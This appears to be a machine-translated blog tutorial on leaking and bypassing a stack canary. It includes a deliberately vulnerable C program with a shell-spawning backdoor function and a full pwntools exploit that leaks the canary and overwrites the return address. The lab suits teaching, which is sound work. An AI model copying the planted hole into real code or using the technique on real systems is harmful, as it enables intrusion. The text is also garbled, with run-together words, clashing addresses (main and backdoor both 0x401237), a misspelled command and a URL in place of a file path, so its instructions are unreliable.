Basic introduction to Canary
In basic stack overflow, we can write the data we construct into the stack by not limiting the input length or by using functions with loose limits, etc. The data that can be written includes but is not limited to:
a segment of executable code (disabled
NX
(under the premise of protection)a return address specifically constructed
......
One of the traditional defense mechanisms is to enable Canary
protectionThis mechanism places a sequence of 8 bytes of random data at the bottom of the stack where our program runs, and verifies whether this data has changed when the function is about to return. If it has changed, it indicates that the stack has been altered, and the program will directlycall
into__stack_chk_fail
. If the verification is successful, jump toleave and ret
normal return.
how to bypass
directly obtain the value in the stackcanary
value
If the program will output the string we input, we can estimate the input limit by exceeding the input limit by 1 byte, since the C string is terminated by'\0'
at the end, any extra 1 byte we input will overwrite'\0'
, in the following output, the output function used by the program itself has no limit on the output length, so the Canary value located at the higher address of the data stored in the stack will be leaked out. When we write the malicious return address to the stack next, we can overwrite this value and verify the success.
acquirefs:28h
incanary
value
By observing the assembly code, we can find that each time the program runs, a randomcanary
values all existfs:28h
in, next will be placed inEAX
inmov
enter the stack space of the program.
mov rax,fs:28h
mov [rbp-8],rax
Therefore, if there is any function with the ability to read in the program, you can directly read the value at the address.
byte-by-byte brute forcecanary
value
The other exploitation methods are not mentioned here due to lack of experience, but will be supplemented later when encountered.
preparation stage
source program
We will try to bypass the first method mentioned above next.canary
value verification.
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#define MAX_LENGTH 100
void init()
{
setvbuf(stdin,0,_IONBF,0);
setvbuf(stdout,0,_IONBF,0);
}
void backdoor()
{
system("/bin/sh");
}
int main()
{
char buf[10] = {0};
init();
printf("[DEBUGING] main: %p\n",main);
printf("Hello,What's Your name?\n");
read(0,buf,MAX_LENGTH);
printf("%s",buf);
printf("Welcom!\n");
printf("But wait,WHO ARE YOU?\n");
read(0,buf,MAX_LENGTH);
printf("I don't know you,so bye ;)\n");
return 0;
}
correspondingmakefile
statement.
OBJS=pwn_1.c
CC=gcc # It is gcc by default
CFLAGS+=-fstack-protector -no-pie -g
pwn_1:$(OBJS)
$(CC) $^ $(CFLAGS) -o $@
clean:
$(RM) *.o # Optional
after directlymake
and it's done, remember to name the source filepwn_1.c,
aftergcc
It may prompt an error messageread
The function may be prone to overflow, so ignore it.
possible pitfalls
Remember the reference of the header file, since the one usedread
and other system call functions, so we need to enter the Unix standard libraryunistd.h
.
checksec
After that, wechecksec
This file ensures that it has enabledcanary
protection mechanism.
Canary found
confirm that it is enabled
objdump
By observing the code, we can see that there is a function waiting to be exploited in our codebackdoor()
The purpose is actually tomain
After the function is executed, it returns to the functionSo we must calculate the offset of this function frommain
the relationship between function offsetsThis way, after installation, you can find the function offset by the difference between the base address and the offsetbackdoor
function address.
objdmp -d pwn_1 -M intel
-d Disassemble
pwn_1
those instructions that need to be executedsection
-M Intel style to display assembly code, which is more in line with the assembly style we commonly see
Start!
determine the problem location
By viewing the source code (if the source code cannot be obtained, it can be simply judged by its behavior),Discover its provisionsread
has a maximum length ofMAX_LENGTH 100
and itsbuf
There is only10
, so it is confirmed that there is a stack overflow.
Since the screenshots for the next experiment are not from a complete process, but from repeated execution to show the entire process in more detail, there may be differences in addresses/values before and after.
determine the offset
First, we display usingobjdump -d pwn_1
confirm its.text
in themain
function andbackdoor
The offset of the function.
Here (no need to pad with zeros)
main()
The address is0x401237
backdoor()
The address is0x401237
But for the backdoor() function, since the first two instructions are used to save the previous stack state and initialize the current stack space, we do not need them, so when calculating the offset, we can directly:0x401237 - 0x401225
That's it.
Next, we apply it to the final script to get the actualbackdoor()
address.
from pwn import *
# from signal import signal, SIGPIPE, SIG_DFL, SIG_IGN
# signal(SIGPIPE, SIG_IGN)
p = process('https://www.freebuf.com/articles/system/pwn_1')
# Pause execution until we press enter
raw_input('PAUSE')
# Remove all characters before mian:
p.recvuntil(b'main: ')
backdoor = int(p.recvuntil(b'\n',drop=True),16) - (0x401237 - 0x401225)
# Output the calculated address for us to take a look at
log.info("The backdoor address is :" + hex(backdoor))
Because the program outputsmain()
The address of the function, so there is no need to obtain it separately, just accept it directly%p
to
backdoor = int(p.recvuntil(b'\n',drop=True),16) - (0x401237 - 0x401225)
address represented by the receivedmain()
address, minus the just calculated offset, is thebackdoor()
address.
Get a random canary value
Since our source program will output the input content in the form of a string, and as mentioned before, C strings are'\0'
endingSo we just need to construct the firstread
The data length is10 + 1
so as to overwrite the last'\0'
to overwrite the data at the higher address.canary
value is also output.
All talk and no action is false, let's take a look at our script first:
payload = b'a' * 11
p.sendafter(b'?',payload)
p.recvuntil(b'a' * 11)
canary = b'\0' + p.recv(7)
# Output logs to the console
log.info("The Random Canary num is :%x",int.from_bytes(canary,byteorder='little'))
First question: why
canary = p.recv(7)
Because we just entered 11 bytes, andbuf
Only 10 bytes in size,So we can overwrite upwards, coveringcanary
One byte of which, and at the same time we can readcanary
The remaining 7 bytesSecond question:
int.from_bytes(canary, byteorder='little')
Writing meaning
Convert a string object to an integer in little-endianDisplay
Observe memory
Next, to make it easier to observe, we indeed get the value obtainedcanary
value, so we usegdb
ofattach
Attach to the program opened by our script to observe.
Usage:attach + PID
(Entergdb
after)
Before, we overwrote one more, covering the lower bit of the canary's value from 0 to a, and we can concatenate it back hereSo far, we have gotcanary
value.
Pile the return address into the stack
First, take a stack space of the program to observe.
The area enclosed by the first red box ismain
the address of the previous function before the function returns (see the second red box), so we just need to overwrite the address.
To overwrite the address, we need to overwrite frombuf
from the start to all the space at the address, but among them there is storedcanary
the position where we just saved outcanary
put it in again.
payload = b'a' * 10 # Cover all the space of the array
payload += canary # Since the space after the array is even the canary's space, put this value back to verify
pend = 0
payload += p64(pend) # Overwrite the 8-byte space pointed to by rbp
payload += p64(backdoor) # Finally, place the address of our backdoor
p.sendafter(b'YOU?',payload)
# Pause execution until we press enter
raw_input('PAUSE')
After that, throughgdb
Check the process and you will find.
Write successful.
Execution successful
Complete script
from pwn import *
# from signal import signal, SIGPIPE, SIG_DFL, SIG_IGN
# signal(SIGPIPE, SIG_IGN)
p = process('https://www.freebuf.com/articles/system/pwn_1')
raw_input('PAUSE')
p.recvuntil(b'main: ')
# canary =
backdoor = int(p.recvuntil(b'\n',drop=True),16) - (0x401237 - 0x401225)
log.info("The backdoor address is :" + hex(backdoor))
payload = b'a' * 11
p.sendafter(b'?',payload)
p.recvuntil(b'a' * 11)
canary = b'\0' + p.recv(7)
log.info("The Random Canary num is :%x",int.from_bytes(canary,byteorder='little'))
payload = b'a' * 10 # Cover all the space of the array
payload += canary # Since the space after the array is even the canary's space, put this value back to verify
pend = 0
payload += p64(pend) # Overwrite the 8-byte space pointed to by rbp
payload += p64(backdoor) # Finally, place the address of our backdoor
log.info("The payload is :%x",int.from_bytes(payload,byteorder='little'))
p.sendafter(b'YOU?',payload)
p.interactive()

评论已关闭